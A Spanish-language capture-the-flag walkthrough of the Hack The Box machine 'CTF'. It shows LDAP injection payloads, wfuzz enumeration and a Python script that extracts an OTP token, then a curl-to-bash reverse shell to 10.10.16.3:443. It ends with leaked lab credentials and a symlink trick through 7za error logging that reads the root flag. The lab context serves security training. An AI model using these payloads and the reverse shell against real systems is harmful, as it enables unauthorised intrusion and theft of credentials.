Conocimientos
Reconocimiento
Escaneo de puertos con nmap
Descubrimiento de puertos abiertos
nmap -p- --open --min-rate 5000 -n -Pn -sS 10.10.10.122 -oG openports
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-23 10:04 GMT
Nmap scan report for 10.10.10.122
Host is up (0.18s latency).
Not shown: 65501 filtered tcp ports (no-response), 32 filtered tcp ports (host-prohibited)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
Nmap done: 1 IP address (1 host up) scanned in 27.69 second
Escaneo de versión y servicios de cada puerto
nmap -sCV -p22,80 10.10.10.122 -oN portscan
Starting Nmap 7.94 ( https://nmap.org ) at 2023-06-23 10:04 GMT
Nmap scan report for 10.10.10.122
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.4 (protocol 2.0)
| ssh-hostkey:
| 2048 fd:ad:f7:cb:dc:42:1e:43:7d:b3:d5:8b:ce:63:b9:0e (RSA)
| 256 3d:ef:34:5c:e5:17:5e:06:d7:a4:c8:86:ca:e2:df:fb (ECDSA)
|_ 256 4c:46:e2:16:8a:14:f6:f0:aa:39:6c:97:46:db:b4:40 (ED25519)
80/tcp open http Apache httpd 2.4.6 ((CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16)
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: CTF
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.53 seconds
Puerto 80 (HTTP)
Con whatweb
analizo las tecnologías que emplea el servidor web
whatweb http://10.10.10.122
http://10.10.10.122 [200 OK] Apache[2.4.6][mod_fcgid/2.3.9], Bootstrap, Country[RESERVED][ZZ], HTML5, HTTPServer[CentOS][Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 PHP/5.4.16], IP[10.10.10.122], JQuery, OpenSSL[1.0.2k-fips], PHP[5.4.16], Script, Title[CTF]
Tengo acceso a un panel de inicio de sesión
Intercepto la petición con BurpSuite
para ver como se tramita
POST /login.php HTTP/1.1
Host: 10.10.10.122
Content-Length: 33
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://10.10.10.122
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.10.10.122/login.php
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: PHPSESSID=vpmfgi3650l3no37pl07169053
Connection: close
inputUsername=rubbx&inputOTP=test
En el código fuente hay un comentario
El token es de 81 dígitos. Pruebo a bruteforcear caracteres especiales desde el Intruder
de BurpSuite
con el diccionario /usr/share/seclists/Fuzzing/special-chars.txt
Desactivo el URL Encode
automático
El &
no se ve reflejado en el error de la respuesta
Y aquellas cuyo Content-Length
es inferior, ni si quiera la cadena común. Principalmente son caracteres de operatoria; para sumar, restar, dividir…
Parece ser vulnerable a LDAP Inyection
. Es probable que se esté empleando una estructura parecida a esta:
(&
(inputUsername=123)
(inputOTP=123)
)
Lo que desconozco es cuantos campos tiene para cerrar el paréntesis final, así que voy a añadirlos manualmente, junto a un null byte para desplazar el resto de la query y que no entre en conflicto. Tienen que estar doblemente URL-encodeados, ya que si no la respuesta es vacía. Para tres, recibo datos
inputUsername=rubbx%25%32%39%25%32%39%25%32%39%2500&inputOTP=123
Evidentemente, el usuario no existe, y tampoco sirve de nada eliminar los paréntesis porque no aplicaría la inyección, pero puedo insertar un wildcard (*) doblemente url-encodeado, que en expresiones regulares actúa como un comodín
inputUsername=%25%32%61%25%32%39%25%32%39%25%32%39%2500&inputOTP=123
De esta manera puedo llegar a obtener usuarios válidos siguiendo las regex como condición booleana de true
o false
, de la forma a*)))%00
, ad*)))%00
wfuzz -c -s 1 --hh=2841 -w /usr/share/wordlists/SecLists/Fuzzing/char.txt -d 'inputUsername=FUZZ%252a%2529%2529%2529%2500&inputOTP=123' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 26
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000012: 200 68 L 231 W 2822 Ch "l"
Total time: 0
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0
Empieza por l
, ahora si la incorporo como primer caracter, obtendré el segundo, y así sucesivamente
wfuzz -c -s 1 --hh=2842 -w /usr/share/wordlists/SecLists/Fuzzing/char.txt -d 'inputUsername=lFUZZ%252a%2529%2529%2529%2500&inputOTP=123' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 26
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000004: 200 68 L 231 W 2822 Ch "d"
Total time: 26.15709
Processed Requests: 26
Filtered Requests: 25
Requests/sec.: 0.993994
Terminado el proceso el nombre de usuario es ldapuser
. Ahora solo me falta obtener el OTP. En LDAP
se emplean atributos que puedo tratar de bruteforcear, ya que se están empleando otros campos que son los que he forzado a cerrar con los paréntesis y el null byte. La idea es abrir un nuevo campo, y en este añadir el atributo
(&
(&
(inputUsername=ldapuser)
(inputOTP=123)
(atributo=*)))%00
)
)
Utilizo un diccionario de PayloadAllTheThings
wfuzz -c --hw=233 -w /home/rubbx/Desktop/HTB/Machines/CTF/LDAP_attributes.txt -d 'inputUsername=ldapuser%2529%2528FUZZ%253d%252a%2529%2529%2529%2500&inputOTP=123' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 27
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000015: 200 68 L 231 W 2822 Ch "name"
000000025: 200 68 L 231 W 2822 Ch "uid"
000000022: 200 68 L 231 W 2822 Ch "sn"
000000024: 200 68 L 231 W 2822 Ch "surname"
000000020: 200 68 L 231 W 2822 Ch "pager"
000000017: 200 68 L 231 W 2822 Ch "objectClass"
000000013: 200 68 L 231 W 2822 Ch "mail"
000000002: 200 68 L 231 W 2822 Ch "cn"
000000004: 200 68 L 231 W 2822 Ch "commonName"
000000027: 200 68 L 231 W 2822 Ch "userPassword"
Total time: 0
Processed Requests: 27
Filtered Requests: 17
Requests/sec.: 0
Creo un diccionario de números
seq 0 9 > digits.txt
Lo utilizo para extraer el token
wfuzz -c --hw=233 -w /home/rubbx/Desktop/HTB/Machines/CTF/digits.txt -d 'inputUsername=ldapuser%2529%2528pager%253dFUZZ%252a%2529%2529%2529%2500&inputOTP=123' http://10.10.10.122/login.php
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer *
********************************************************
Target: http://10.10.10.122/login.php
Total requests: 10
=====================================================================
ID Response Lines Word Chars Payload
=====================================================================
000000003: 200 68 L 231 W 2822 Ch "2"
Total time: 0.354385
Processed Requests: 10
Filtered Requests: 9
Requests/sec.: 28.21786
El concepto es el mismo que antes. Como son 81 dígitos, creo un script en python
para automatizarlo
catr ldi.py
#!/usr/bin/python3
from pwn import *
import requests, pdb, time, signal, sys, string
def def_handler(sig, frame):
sys.exit(1)
# Ctrl+C
signal.signal(signal.SIGINT, def_handler)
# Variables globales
main_url = "http://10.10.10.122/login.php"
digits = string.digits
def makeRequest():
token = ""
p1 = log.progress("Token")
for position in range(0, 81):
for digit in digits:
post_data = {
'inputUsername': f'ldapuser%29%28pager%3d{token}{digit}%2a%29%29%29%00',
'inputOTP': '123'
}
r = requests.post(main_url, data=post_data)
time.sleep(0.5)
if "Cannot login" in r.text:
token += digit
p1.status(token)
break
if __name__ == '__main__':
makeRequest()
Lo ejecuto y obtengo el valor
python3 ldi.py
[┴] Token: 285449490011357156531651545652335570713167411445727140604172141456711102716717000
Utilizo stoken
para obtener un OTP en base al tiempo
stoken --token=285449490011357156531651545652335570713167411445727140604172141456711102716717000
Enter PIN:
PIN must be 4-8 digits. Use '0000' for no PIN.
Enter PIN:
32661804
Se me abre un nuevo formulario al iniciar sesión
No puedo ejecutar comandos ya que el usuario ldapuser
no pertenece al grupo root
ni adm
Para bypassear esta validación, voy a loggearme pero separando el resto de campos con ldapuser)))%00
interceptando la petición con BurpSuite
y dándole a Forward
. Puedo ejecutar comandos como ```apache``
Creo un archivo index.html
que se encargue de enviarme una reverse shell
#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.3/443 0>&1'
Ejecuto un curl 10.10.16.3 | bash
y recibo la conexión en una sesión de netcat
rlwrap nc -nlvp 443
listening on [any] 443 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.10.122] 54680
bash: no job control in this shell
bash-4.2$ whoami
whoami
apache
En el archivo login.php
hay credenciales en texto claro
cat login.php | head -n 10
<!doctype html>
<?php
session_start();
$strErrorMsg="";
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
$basedn = 'dc=ctf,dc=htb';
$usersdn = 'cn=users';
bash-4.2$ cat login.php | head -n 8
cat login.php | head -n 8
<!doctype html>
<?php
session_start();
$strErrorMsg="";
$username = 'ldapuser';
$password = 'e398e27d5c4ad45086fe431120932a01';
Gano acceso como este usuario y puedo ver la primera flag
ssh ldapuser@10.10.10.122
The authenticity of host '10.10.10.122 (10.10.10.122)' can't be established.
ED25519 key fingerprint is SHA256:KsoNG0lA4XNq0wTQoRJ93HGm0p+NwUq9+0Xl/ujMeSY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.122' (ED25519) to the list of known hosts.
ldapuser@10.10.10.122's password:
[ldapuser@ctf ~]$ cat user.txt
bb9c55c8f1ce024b8cf5dc47d29af631
Escalada
En el directorio backup
hay un script en bash
[ldapuser@ctf backup]$ cat honeypot.sh
# get banned ips from fail2ban jails and update banned.txt
# banned ips directily via firewalld permanet rules are **not** included in the list (they get kicked for only 10 seconds)
/usr/sbin/ipset list | grep fail2ban -A 7 | grep -E '[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}' | sort -u > /var/www/html/banned.txt
# awk '$1=$1' ORS='<br>' /var/www/html/banned.txt > /var/www/html/testfile.tmp && mv /var/www/html/testfile.tmp /var/www/html/banned.txt
# some vars in order to be sure that backups are protected
now=$(date +"%s")
filename="backup.$now"
pass=$(openssl passwd -1 -salt 0xEA31 -in /root/root.txt | md5sum | awk '{print $1}')
# keep only last 10 backups
cd /backup
ls -1t *.zip | tail -n +11 | xargs rm -f
# get the files from the honeypot and backup 'em all
cd /var/www/html/uploads
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
# cleaup the honeypot
rm -rf -- *
# comment the next line to get errors for debugging
truncate -s 0 /backup/error.log
Como se están reportando los errores, puedo tratar de generar un error y crear un enlace simbólico para que un archivo apunte a la segunda flag mientras leo continuamente las últimas líneas de error.txt
bash-4.2$ touch @example
touch @example
bash-4.2$ ln -s -f /root/root.txt example
[ldapuser@ctf backup]$ tail -f error.log
WARNING: No more files
70de1bd8f0ad63bacdf53aab29466ad4
tail: error.log: file truncated